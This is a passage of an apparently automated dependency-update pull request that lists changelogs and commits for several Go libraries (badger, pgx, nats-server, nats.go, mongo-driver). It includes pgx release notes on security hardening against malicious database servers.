href=\"https://github.com/dgraph-io/badger/commit/796cb85f662c06cb4660f0143af176ca7cf1a857\"\u003e\u003ccode\u003e796cb85\u003c/code\u003e\u003c/a\u003e chore(core): remove unused event log (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2257\"\u003e#2257\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/dgraph-io/badger/compare/v4.9.1...v4.9.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/jackc/pgx/v5` from 5.9.2 to 5.10.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jackc/pgx/blob/master/CHANGELOG.md\"\u003egithub.com/jackc/pgx/v5's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e5.10.0 (June 3, 2026)\u003c/h1\u003e\n\u003cp\u003eThis release includes a significant amount of hardening against malicious or compromised PostgreSQL servers,\ncontributed by Sean Chittenden at CrowdStrike, Inc. This work bounds binary decoders against attacker-controlled\nmessage sizes, caps server-supplied SCRAM iteration counts, adds \u003ccode\u003erequire_auth\u003c/code\u003e to restrict which authentication\nmethods a server may use (mitigating downgrade attacks under \u003ccode\u003esslmode=prefer\u003c/code\u003e), and ensures cancellation requests are\nsent over TLS when the original connection used TLS.\u003c/p\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003erequire_auth\u003c/code\u003e to restrict accepted server authentication methods (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eParseConfigOptions.ConnStringAllowedKeys\u003c/code\u003e to restrict allowed connection string keys (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eStructArgs\u003c/code\u003e and \u003ccode\u003eStrictStructArgs\u003c/code\u003e for \u003ccode\u003e@\u003c/code\u003e-named queries (Tubelight30)\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eErrConnClosed\u003c/code\u003e sentinel error and unwrap it from \u003ccode\u003econnLockError\u003c/code\u003e (Charlie Tonneslan)\u003c/li\u003e\n\u003cli\u003epgxpool: check if connection is expired before acquire (arthurdotwork)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eSecurity Hardening\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEncrypt \u003ccode\u003eCancelRequest\u003c/code\u003e connection when the primary connection used TLS (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eCap server-supplied SCRAM iteration count (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eDefault Frontend max message body length to ~1 GiB (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eBound hstore binary decode against malicious server input (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eBound array binary decode element length against remaining message bytes (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eBound array element count against remaining message bytes (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eBound range, multirange, and tsvector binary decoders (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eDocument secure connection configuration (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eFix panic on malformed geometric text; return an error instead (MaIII)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eFixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix scanning \u003ccode\u003e\u0026quot;char\u0026quot;\u003c/code\u003e (OID 18) into \u003ccode\u003e*string\u003c/code\u003e in binary format (luongs3)\u003c/li\u003e\n\u003cli\u003eFix handling of typed-nil \u003ccode\u003edriver.Valuer\u003c/code\u003e in array and composite codecs (Donncha Fahy)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eCopyData.Data\u003c/code\u003e hex decoding in \u003ccode\u003eUnmarshalJSON\u003c/code\u003e (Charlie Tonneslan)\u003c/li\u003e\n\u003cli\u003eFix data race when context is cancelled during connect\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eparseKeywordValueSettings\u003c/code\u003e rejecting trailing whitespace (alliasgher)\u003c/li\u003e\n\u003cli\u003epgconn: preserve full error chain in \u003ccode\u003enormalizeTimeoutError\u003c/code\u003e (Charlie Tonneslan)\u003c/li\u003e\n\u003cli\u003epgconn: use a fresh context for the fallback connection in \u003ccode\u003econnectPreferred\u003c/code\u003e (Charlie Tonneslan)\u003c/li\u003e\n\u003cli\u003epgxpool: fix \u003ccode\u003eMaxLifetimeDestroyCount\u003c/code\u003e and ping order for acquire-time expiry check\u003c/li\u003e\n\u003cli\u003eAdd missing error check of \u003ccode\u003erows.Err\u003c/code\u003e to load types (Jen Altavilla)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/7293fb11125be0373a92f716683f2d494f6fd4b0\"\u003e\u003ccode\u003e7293fb1\u003c/code\u003e\u003c/a\u003e Update changelog for v5.10.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/1ade2852841d4ee55677207200f4ffdbc217ce69\"\u003e\u003ccode\u003e1ade285\u003c/code\u003e\u003c/a\u003e pgconn: document secure connection configuration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/b4d6d4d1be7f381bb81d12ebfecae6b10f5c7562\"\u003e\u003ccode\u003eb4d6d4d\u003c/code\u003e\u003c/a\u003e pgtype: bound range, multirange, and tsvector binary decoders\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/0639b37f8f4fff31dbe73297087e69b3ccc3bf2b\"\u003e\u003ccode\u003e0639b37\u003c/code\u003e\u003c/a\u003e pgconn: add ParseConfigOptions.ConnStringAllowedKeys\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/b28e65b0c3e0cd45c09e7c9ce36e5e29caa6dbe9\"\u003e\u003ccode\u003eb28e65b\u003c/code\u003e\u003c/a\u003e pgtype: bound array element count against remaining message bytes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/cd1f389d37d775bc8cb11c60363946f928c02c98\"\u003e\u003ccode\u003ecd1f389\u003c/code\u003e\u003c/a\u003e pgtype: bound array binary decode element length against remaining bytes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/ff27b5bbea012020d1fd8b9bdd56284a88783ef1\"\u003e\u003ccode\u003eff27b5b\u003c/code\u003e\u003c/a\u003e pgtype: bound hstore binary decode against malicious server input\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/a6002e12a8a393844b48c29d105e7542e7b3a251\"\u003e\u003ccode\u003ea6002e1\u003c/code\u003e\u003c/a\u003e pgproto3: default Frontend max message body length to ~1 GiB\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/44f61732ecdfd08081a1a2ff7227f1e975f0b71e\"\u003e\u003ccode\u003e44f6173\u003c/code\u003e\u003c/a\u003e pgconn: cap server-supplied SCRAM iteration count\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/1a976f7bb91216ea7f8369cb7abe78ce34dc244f\"\u003e\u003ccode\u003e1a976f7\u003c/code\u003e\u003c/a\u003e pgconn: add require_auth to restrict accepted server auth methods\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jackc/pgx/compare/v5.9.2...v5.10.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.8 to 2.14.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.2\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.52.0\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.45.0\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.2\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nkeys v0.4.16\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe client ID is now available through the embedded \u003ccode\u003eClientAuthentication\u003c/code\u003e API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8217\"\u003e#8217\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA race condition when handling subscription interest over routes has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8235\"\u003e#8235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePotential protocol-level corruption from rewriting \u003ccode\u003e$JS.ACK\u003c/code\u003e subjects has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8242\"\u003e#8242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePotential protocol-level corruption from buffer misuse in compressed WebSocket clients has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8244\"\u003e#8244\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e/accstatz\u003c/code\u003e monitoring endpoint no longer omits accounts with only leaf connections (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8252\"\u003e#8252\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a case where Raft peers were not correctly tracked after an inactivity stall during catchup (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8226\"\u003e#8226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eQuorum needed is now calculated correctly when bootstrapping the metalayer when gateway URLs resolve to multiple IP addresses (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8238\"\u003e#8238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe filestore no longer performs a block skip check on streams with extremely high subject counts, as it could result in runaway CPU usage (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8227\"\u003e#8227\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a case where the filestore would not release a lock after handling a write error (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8232\"\u003e#8232\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePurge operations on both file and memory stores are now more consistent with each other (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8241\"\u003e#8241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a case where the consumer lock would not release a lock after handling a start sequence error (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8230\"\u003e#8230\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCounter streams and message schedules now have configuration constraints applied to prevent incorrect usage patterns (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8240\"\u003e#8240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved stream and consumer scale down behaviour consistency (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8253\"\u003e#8253\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where the per-subject state last block was not stored correctly with a max messages per subject limit of 1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8254\"\u003e#8254\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a drift that could occur in the peer sets after a peer remove of an online node (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8258\"\u003e#8258\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.14.1...v2.14.2\"\u003ehttps://github.com/nats-io/nats-server/compare/v2.14.1...v2.14.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRelease v2.14.2-RC.1\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/1d065926bb99ed14ebe9cf6a21529d28310fc8d3\"\u003e\u003ccode\u003e1d06592\u003c/code\u003e\u003c/a\u003e Release v2.14.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/4e1aefa11412f699f6e31549ea215389824d4c07\"\u003e\u003ccode\u003e4e1aefa\u003c/code\u003e\u003c/a\u003e Cherry-picks for v2.14.2 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8256\"\u003e#8256\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/ac092ff7c60aa4a0fa3f466198aa89d58bd15f47\"\u003e\u003ccode\u003eac092ff\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/01e589d49a512276adfa9f60699560c5be63bfd5\"\u003e\u003ccode\u003e01e589d\u003c/code\u003e\u003c/a\u003e [FIXED] Peer set desync/re-add after stream peer-remove\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3d122e82432917c2e4395523a33e929cc71ec5ca\"\u003e\u003ccode\u003e3d122e8\u003c/code\u003e\u003c/a\u003e De-flake TestJetStreamConsumerPrioritized\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3836d96692a7b9d1405ea404161e6a7f48ba3115\"\u003e\u003ccode\u003e3836d96\u003c/code\u003e\u003c/a\u003e [FIXED] Initial MaxMsgsPerSubject update not enforced\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/92cf2e314fe7ef38f3ac6223f874efa0f58819e0\"\u003e\u003ccode\u003e92cf2e3\u003c/code\u003e\u003c/a\u003e [FIXED] Filestore only stores last block when MaxMsgsPerSubject 1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3288b4fe279b6f689dc985758add443acb9095db\"\u003e\u003ccode\u003e3288b4f\u003c/code\u003e\u003c/a\u003e (2.14) [IMPROVED] Remove redundant error check in filestore\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/6ea46d54029a662ae3545da70b01c32976f6cdbc\"\u003e\u003ccode\u003e6ea46d5\u003c/code\u003e\u003c/a\u003e [FIXED] Stream and consumer scale down consistency\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5edd91c01a32945e1a4837a104c59114972c9bfb\"\u003e\u003ccode\u003e5edd91c\u003c/code\u003e\u003c/a\u003e [FIXED] AccountStatz omits accounts with only leaf connections\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.8...v2.14.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.51.0 to 1.52.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.52.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eThis release focuses on 2.14 nats-server features support.\u003c/p\u003e\n\u003ch3\u003eADDED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eAdded fast batch stream config field (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2052\"\u003e#2052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded message scheduling headers and publish opts (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2051\"\u003e#2051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdated \u003ccode\u003eStreamConfig\u003c/code\u003e with \u003ccode\u003eConsumer\u003c/code\u003e field and added \u003ccode\u003eAckFlowControlPolicy\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2070\"\u003e#2070\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded reset consumer API (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2069\"\u003e#2069\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eFix Subscription.StatusChanged channel closure on Closed Subscription. Thanks \u003ca href=\"https://github.com/nithimani38-prog\"\u003e\u003ccode\u003e@​nithimani38-prog\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2034\"\u003e#2034\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Flaky JS cluster tests (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2062\"\u003e#2062\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.51.0...v1.52.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.51.0...v1.52.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e9f2a36e31b1065f69b252ea090c01e8869eab0b\"\u003e\u003ccode\u003ee9f2a36\u003c/code\u003e\u003c/a\u003e Release v1.52.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2074\"\u003e#2074\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/609274f8c57b65c9d11b01b008b0e40fadfc9d5b\"\u003e\u003ccode\u003e609274f\u003c/code\u003e\u003c/a\u003e [FIXED] Subscription.StatusChanged channel closure on Closed Subscription (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/f7cde748abc86c2981cb1391ca828fceea02af66\"\u003e\u003ccode\u003ef7cde74\u003c/code\u003e\u003c/a\u003e [IMPROVED] Use latest release build for badge in README (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2064\"\u003e#2064\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/c7476ea556818d561945e78863adab422f00de03\"\u003e\u003ccode\u003ec7476ea\u003c/code\u003e\u003c/a\u003e [IMPROVED] Reject empty consumer info in CONSUMER.RESET response (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2072\"\u003e#2072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/8fde36fd10a34224e22f4f8a8ad1f61ecaedd18f\"\u003e\u003ccode\u003e8fde36f\u003c/code\u003e\u003c/a\u003e [ADDED] ResetConsumer JetStream API (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2069\"\u003e#2069\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/dcfd0fcc6f63c4a2e4436e5aa3ecd4e1dcc598df\"\u003e\u003ccode\u003edcfd0fc\u003c/code\u003e\u003c/a\u003e [ADDED] StreamSource.Consumer config field and AckFlowControlPolicy (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2070\"\u003e#2070\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7a28503b5d5d633d2caaa2639571e5f19c8eebec\"\u003e\u003ccode\u003e7a28503\u003c/code\u003e\u003c/a\u003e [ADDED] Publish options and consts for message scheduling (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2051\"\u003e#2051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/6c91a518e305e56c6481cf63ba52416300b7f5d3\"\u003e\u003ccode\u003e6c91a51\u003c/code\u003e\u003c/a\u003e [ADDED] AllowBatchPublish stream config field (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2052\"\u003e#2052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/a614d0be24c7e9a22a406572bee44d897cff27c3\"\u003e\u003ccode\u003ea614d0b\u003c/code\u003e\u003c/a\u003e [FIXED] Flaky JS cluster tests due to race in setupJSClusterWithSize (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2062\"\u003e#2062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.51.0...v1.52.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `go.mongodb.org/mongo-driver/v2` from 2.5.0 to 2.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mongodb/mongo-go-driver/releases\"\u003ego.mongodb.org/mongo-driver/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eMongoDB Go Driver 2.7.0\u003c/h2\u003e\n\u003cp\u003eThe MongoDB Go Driver Team is pleased to release version 2.7.0 of the official MongoDB Go Driver.\u003c/p\u003e\n\u003ch2\u003eRelease Highlights\u003c/h2\u003e\n\u003cp\u003eThis release adds support for sending afterClusterTime on writes in causally consistent sessions, improving alignment between read and write behavior in session-based workflows. It also continues cleanup of session-related and internal-only APIs by deprecating the experimental session API, helping clarify which surfaces are intended for long-term public use. Alongside that, the release includes a handful of targeted quality improvements across BSON validation, change streams, and error reporting to make the driver more predictable and easier to debug.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003e✨ New Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eGODRIVER-3921 retro backpressure cleanup by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2394\"\u003emongodb/mongo-go-driver#2394\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3912 Add prose test for database.ListCollection routing by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2390\"\u003emongodb/mongo-go-driver#2390\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3874 Send afterClusterTime on writes in causally-consistent sessions by \u003ca href=\"https://github.com/matthewdale\"\u003e\u003ccode\u003e@​matthewdale\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2412\"\u003emongodb/mongo-go-driver#2412\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3957 Fix long lines in bson/decoder_example_test.go and expand check-fmt to cover both *_example_test.go and *_examples_test.go files by \u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2428\"\u003emongodb/mongo-go-driver#2428\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3962 fix: change stream set batch size nil cursor by \u003ca href=\"https://github.com/zigzagdev\"\u003e\u003ccode\u003e@​zigzagdev\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2424\"\u003emongodb/mongo-go-driver#2424\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3965 fix: misleading error message type info in rewrap function by \u003ca href=\"https://github.com/zigzagdev\"\u003e\u003ccode\u003e@​zigzagdev\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2430\"\u003emongodb/mongo-go-driver#2430\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🐛 Fixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eGODRIVER-3862: Collection.Clone propegates BSONOptions by \u003ca href=\"https://github.com/softprops\"\u003e\u003ccode\u003e@​softprops\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2364\"\u003emongodb/mongo-go-driver#2364\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3858 Split write batches by wire-message size, not document payload (Merge up from release/2.6). by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2397\"\u003emongodb/mongo-go-driver#2397\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3931 Fix bson.Raw.Validate panic on zero-length BSON document by \u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2418\"\u003emongodb/mongo-go-driver#2418\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3832: Fix mongo.ErrorCodes() with ClientBulkWriteException by \u003ca href=\"https://github.com/FGasper\"\u003e\u003ccode\u003e@​FGasper\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2420\"\u003emongodb/mongo-go-driver#2420\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3960 fix: format Arguments swapping by \u003ca href=\"https://github.com/zigzagdev\"\u003e\u003ccode\u003e@​zigzagdev\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2423\"\u003emongodb/mongo-go-driver#2423\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e📝 Other Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eGODRIVER-3838 Update comments on SetLimit(). by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2372\"\u003emongodb/mongo-go-driver#2372\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3871 Make files in \u0026quot;examples\u0026quot; runnable. by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca 